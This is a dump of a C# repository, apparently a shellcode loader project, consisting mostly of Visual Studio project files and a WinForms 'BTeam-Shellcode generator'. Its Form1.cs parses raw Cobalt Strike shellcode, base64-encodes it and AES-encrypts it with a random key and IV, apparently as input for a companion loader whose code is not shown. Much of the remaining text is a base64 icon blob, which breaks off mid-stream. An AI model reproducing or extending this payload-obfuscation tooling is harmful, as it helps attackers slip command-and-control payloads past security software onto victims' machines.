├── BTeam-Gen ├── .vs │ ├── BTeam-Gen │ │ └── v16 │ │ │ └── .suo │ ├── ProjectSettings.json │ ├── VSWorkspaceState.json │ └── slnx.sqlite ├── App.config ├── BTeam-Gen.csproj ├── BTeam-Gen.sln ├── B_64px_1168290_easyicon.net.ico ├── Form1.Designer.cs ├── Form1.cs ├── Form1.resx ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── bin │ └── Debug │ │ ├── BTeam-Gen.exe │ │ ├── BTeam-Gen.exe.config │ │ └── BTeam-Gen.pdb └── obj │ ├── Debug │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ ├── BTeam-Gen.csproj.CoreCompileInputs.cache │ ├── BTeam-Gen.csproj.FileListAbsolute.txt │ ├── BTeam-Gen.csproj.GenerateResource.cache │ ├── BTeam-Gen.csprojAssemblyReference.cache │ ├── BTeam-Gen.exe │ ├── BTeam-Gen.pdb │ ├── BTeam_Gen.Form1.resources │ ├── BTeam_Gen.Properties.Resources.resources │ ├── DesignTimeResolveAssemblyReferences.cache │ └── DesignTimeResolveAssemblyReferencesInput.cache │ └── Release │ └── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs ├── BTeam-Loader ├── .vs │ └── BTeam-Loader │ │ └── v16 │ │ └── .suo ├── App.config ├── BTeam-Loader.csproj ├── BTeam-Loader.sln ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── bin │ └── Debug │ │ ├── BTeam-Loader.exe │ │ ├── BTeam-Loader.exe.config │ │ └── BTeam-Loader.pdb └── obj │ └── Debug │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ ├── BTeam-Loader.csproj.CoreCompileInputs.cache │ ├── BTeam-Loader.csproj.FileListAbsolute.txt │ ├── BTeam-Loader.csprojAssemblyReference.cache │ ├── BTeam-Loader.exe │ ├── BTeam-Loader.pdb │ └── DesignTimeResolveAssemblyReferencesInput.cache ├── README.md └── images ├── image1.png ├── image2.png ├── image3.png └── image4.png /BTeam-Gen/.vs/BTeam-Gen/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/.vs/BTeam-Gen/v16/.suo -------------------------------------------------------------------------------- /BTeam-Gen/.vs/ProjectSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "CurrentProjectSetting": null 3 | } -------------------------------------------------------------------------------- /BTeam-Gen/.vs/VSWorkspaceState.json: -------------------------------------------------------------------------------- 1 | { 2 | "ExpandedNodes": [ 3 | "" 4 | ], 5 | "SelectedNode": "\\BTeam-Gen.sln", 6 | "PreviewInSolutionExplorer": false 7 | } -------------------------------------------------------------------------------- /BTeam-Gen/.vs/slnx.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/.vs/slnx.sqlite -------------------------------------------------------------------------------- /BTeam-Gen/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BTeam-Gen/BTeam-Gen.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {456E7A5C-BA8B-4564-B4A9-220472FBEF1E} 8 | WinExe 9 | BTeam_Gen 10 | BTeam-Gen 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | B_64px_1168290_easyicon.net.ico 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | Form 54 | 55 | 56 | Form1.cs 57 | 58 | 59 | 60 | 61 | Form1.cs 62 | 63 | 64 | ResXFileCodeGenerator 65 | Resources.Designer.cs 66 | Designer 67 | 68 | 69 | True 70 | Resources.resx 71 | 72 | 73 | SettingsSingleFileGenerator 74 | Settings.Designer.cs 75 | 76 | 77 | True 78 | Settings.settings 79 | True 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /BTeam-Gen/BTeam-Gen.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30804.86 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BTeam-Gen", "BTeam-Gen.csproj", "{456E7A5C-BA8B-4564-B4A9-220472FBEF1E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {456E7A5C-BA8B-4564-B4A9-220472FBEF1E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {456E7A5C-BA8B-4564-B4A9-220472FBEF1E}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {456E7A5C-BA8B-4564-B4A9-220472FBEF1E}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {456E7A5C-BA8B-4564-B4A9-220472FBEF1E}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {52589525-4389-446B-866A-039592C0BCA2} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /BTeam-Gen/B_64px_1168290_easyicon.net.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/B_64px_1168290_easyicon.net.ico -------------------------------------------------------------------------------- /BTeam-Gen/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 |  2 | namespace BTeam_Gen 3 | { 4 | partial class Form1 5 | { 6 | /// 7 | /// 必需的设计器变量。 8 | /// 9 | private System.ComponentModel.IContainer components = null; 10 | 11 | /// 12 | /// 清理所有正在使用的资源。 13 | /// 14 | /// 如果应释放托管资源,为 true;否则为 false。 15 | protected override void Dispose(bool disposing) 16 | { 17 | if (disposing && (components != null)) 18 | { 19 | components.Dispose(); 20 | } 21 | base.Dispose(disposing); 22 | } 23 | 24 | #region Windows 窗体设计器生成的代码 25 | 26 | /// 27 | /// 设计器支持所需的方法 - 不要修改 28 | /// 使用代码编辑器修改此方法的内容。 29 | /// 30 | private void InitializeComponent() 31 | { 32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); 33 | this.button1 = new System.Windows.Forms.Button(); 34 | this.srcText = new System.Windows.Forms.TextBox(); 35 | this.dstText = new System.Windows.Forms.TextBox(); 36 | this.SuspendLayout(); 37 | // 38 | // button1 39 | // 40 | this.button1.Location = new System.Drawing.Point(195, 251); 41 | this.button1.Name = "button1"; 42 | this.button1.Size = new System.Drawing.Size(148, 40); 43 | this.button1.TabIndex = 0; 44 | this.button1.Text = "Convert"; 45 | this.button1.UseVisualStyleBackColor = true; 46 | this.button1.Click += new System.EventHandler(this.button1_Click); 47 | // 48 | // srcText 49 | // 50 | this.srcText.Location = new System.Drawing.Point(33, 33); 51 | this.srcText.Multiline = true; 52 | this.srcText.Name = "srcText"; 53 | this.srcText.ScrollBars = System.Windows.Forms.ScrollBars.Both; 54 | this.srcText.Size = new System.Drawing.Size(482, 198); 55 | this.srcText.TabIndex = 1; 56 | // 57 | // dstText 58 | // 59 | this.dstText.Location = new System.Drawing.Point(33, 313); 60 | this.dstText.Multiline = true; 61 | this.dstText.Name = "dstText"; 62 | this.dstText.ReadOnly = true; 63 | this.dstText.ScrollBars = System.Windows.Forms.ScrollBars.Both; 64 | this.dstText.Size = new System.Drawing.Size(482, 204); 65 | this.dstText.TabIndex = 2; 66 | // 67 | // Form1 68 | // 69 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 70 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 71 | this.ClientSize = new System.Drawing.Size(542, 557); 72 | this.Controls.Add(this.dstText); 73 | this.Controls.Add(this.srcText); 74 | this.Controls.Add(this.button1); 75 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 76 | this.Name = "Form1"; 77 | this.Text = "BTeam-Shellcode生成器"; 78 | this.ResumeLayout(false); 79 | this.PerformLayout(); 80 | 81 | } 82 | 83 | #endregion 84 | 85 | private System.Windows.Forms.Button button1; 86 | private System.Windows.Forms.TextBox srcText; 87 | private System.Windows.Forms.TextBox dstText; 88 | } 89 | } 90 | 91 | -------------------------------------------------------------------------------- /BTeam-Gen/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.IO; 7 | using System.Linq; 8 | using System.Security.Cryptography; 9 | using System.Text; 10 | using System.Threading.Tasks; 11 | using System.Windows.Forms; 12 | 13 | namespace BTeam_Gen 14 | { 15 | public partial class Form1 : Form 16 | { 17 | public static byte[] key = new byte[24]; 18 | public static byte[] iv = new byte[16]; 19 | public Form1() 20 | { 21 | InitializeComponent(); 22 | } 23 | 24 | private void button1_Click(object sender, EventArgs e) 25 | { 26 | if(srcText.Text.Length == 0) 27 | { 28 | MessageBox.Show("老铁,请先输入原始的shellcode。"); 29 | } 30 | else 31 | { 32 | this.tob64(); 33 | } 34 | } 35 | 36 | private void genAesKey(byte[] data,String secret) 37 | { 38 | /* 39 | int bar = data.Length / 4 + data.Length / 2; 40 | 41 | for (int i = 0; i < key.Length; i++) 42 | { 43 | key[i] = data[bar + i]; 44 | 45 | if (i < iv.Length) 46 | { 47 | iv[i] = data[bar + i + 24]; 48 | } 49 | } 50 | */ 51 | String _str = "abcdefghijklmnopqrstuvwxyz;?/][}{+-()*&^%$#@!~,."; 52 | Random r = new Random(); 53 | for(int i=0;i < key.Length; i++) 54 | { 55 | key[i] = (byte)_str[r.Next(_str.Length)]; 56 | 57 | if (i < iv.Length) 58 | { 59 | iv[i] = (byte)_str[r.Next(_str.Length)]; 60 | } 61 | } 62 | 63 | 64 | //Environment.Exit(0); 65 | String encrypted = EncryptStringToBytes_Aes(secret, key, iv); 66 | dstText.Text = encrypted + ":" + System.Text.Encoding.UTF8.GetString(key) + ":" + System.Text.Encoding.UTF8.GetString(iv); 67 | 68 | //Environment.Exit(0); 69 | } 70 | public void tob64() 71 | { 72 | String tmp = srcText.Text.Split('{')[1].Split('}')[0]; 73 | String[] result = tmp.Split(','); 74 | byte[] data = new byte[result.Length]; 75 | try 76 | { 77 | 78 | 79 | for (int i = 0; i < data.Length; i++) 80 | { 81 | data[i] = byte.Parse(result[i].Replace("0x", ""), System.Globalization.NumberStyles.HexNumber); 82 | } 83 | 84 | 85 | String b64 = Convert.ToBase64String(data); 86 | dstText.Text = b64; 87 | this.genAesKey(data, b64); 88 | }catch(Exception e) 89 | { 90 | MessageBox.Show("请输cs原始完整的shellcode。","Warning"); 91 | Console.WriteLine(e); 92 | } 93 | } 94 | 95 | static String EncryptStringToBytes_Aes(String plainText, byte[] Key, byte[] Iv) 96 | { 97 | byte[] encrypted; 98 | 99 | using(Aes aesAlg = Aes.Create()) { 100 | aesAlg.Key = Key; 101 | aesAlg.IV = Iv; 102 | 103 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); 104 | using (MemoryStream msEncrypt = new MemoryStream()) 105 | { 106 | using(CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) 107 | { 108 | using(StreamWriter swEncrypt = new StreamWriter(csEncrypt)) 109 | { 110 | swEncrypt.Write(plainText,0,plainText.Length); 111 | } 112 | encrypted = msEncrypt.ToArray(); 113 | } 114 | } 115 | } 116 | return Convert.ToBase64String(encrypted); 117 | } 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /BTeam-Gen/Form1.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | AAABAAEAQEAAAAEAIAAoQgAAFgAAACgAAABAAAAAgAAAAAEAIAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAA 124 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 125 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 126 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 127 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 128 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 129 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 130 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 131 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 132 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 133 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 134 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 135 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 136 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 137 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 138 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 139 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 140 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 141 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 142 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 143 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 144 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 145 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 146 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 147 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 148 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 149 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 150 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 151 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 152 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 153 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 154 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 155 | AAAAAAAtAAAAZgAAAGUAAABlAAAAZQAAAGUAAABlAAAAZQAAAGUAAABlAAAAZQAAAGUAAABlAAAAZQAA 156 | AGUAAABkAAAAXgAAAFEAAAA8AAAAIgAAAAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 157 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 158 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 159 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA 160 | AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP4AAAD7AAAA8wAAAOIAAADBAAAAiAAAAEIAAAAMAAAAAAAA 161 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 162 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 163 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEAAAD/AAAA/wAAAP8AAAD/AAAA/wAA 164 | AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA 165 | AP8AAADzAAAAuwAAAFcAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 166 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 167 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABxAAAA/wAA 168 | AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA 169 | AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD4AAAAqwAAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 170 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 171 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 172 | AAAAAAAAAAAAcQAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA 173 | AP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAADaAAAATwAA 174 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 175 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 176 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAPUAAADnAAAA5wAA 177 | AOcAAADnAAAA5wAAAOcAAADnAAAA6AAAAOoAAADxAAAA+gAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAA 178 | AP8AAAD/AAAA/wAAAOoAAABYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 179 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 180 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABxAAAA/wAAAP8AAAD/AAAA/wAA 181 | AP8AAACiAAAAJgAAACgAAAAoAAAAKAAAACgAAAAoAAAAKAAAACgAAAArAAAANgAAAEwAAAB0AAAArgAA 182 | AOcAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA5wAAAEQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 183 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 184 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAA 185 | AP8AAAD/AAAA/wAAAP8AAAD/AAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 186 | AAAAAAAAAAAAAAAAAAUAAAAuAAAAjwAAAO4AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAADLAAAAHAAA 187 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 188 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 189 | AAAAAAAAAAAAAAAAAHEAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAJEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 190 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABNAAAA2wAAAP8AAAD/AAAA/wAA 191 | AP8AAAD/AAAA/wAAAIMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 192 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 193 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABxAAAA/wAAAP8AAAD/AAAA/wAAAP8AAACRAAAAAAAA 194 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 195 | AEIAAADkAAAA/wAAAP8AAAD/AAAA/wAAAP8AAADeAAAAIwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 196 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 197 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAP8AAAD/AAAA/wAA 198 | AP8AAAD/AAAAkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 199 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAbwAAAPwAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAGgAAAAAAAAAAAAA 200 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 201 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 202 | AHEAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAJEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 203 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAADOAAAA/wAAAP8AAAD/AAAA/wAA 204 | AP8AAACoAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 205 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 206 | AAAAAAAAAAAAAAAAAAAAAABxAAAA/wAAAP8AAAD/AAAA/wAAAP8AAACRAAAAAAAAAAAAAAAAAAAAAAAA 207 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAA 208 | AP8AAAD/AAAA/wAAAP8AAAD/AAAA0QAAABMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 209 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 210 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAkQAA 211 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 212 | AAAAAAAAAAAAAAAAAFUAAAD8AAAA/wAAAP8AAAD/AAAA/wAAAOYAAAAmAAAAAAAAAAAAAAAAAAAAAAAA 213 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 214 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEAAAD/AAAA/wAA 215 | AP8AAAD/AAAA/wAAAJEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 216 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAA9AAAAP8AAAD/AAAA/wAAAP8AAADvAAAAMgAA 217 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 218 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 219 | AAAAAABxAAAA/wAAAP8AAAD/AAAA/wAAAP8AAACRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 220 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANgAAAPEAAAD/AAAA/wAA 221 | 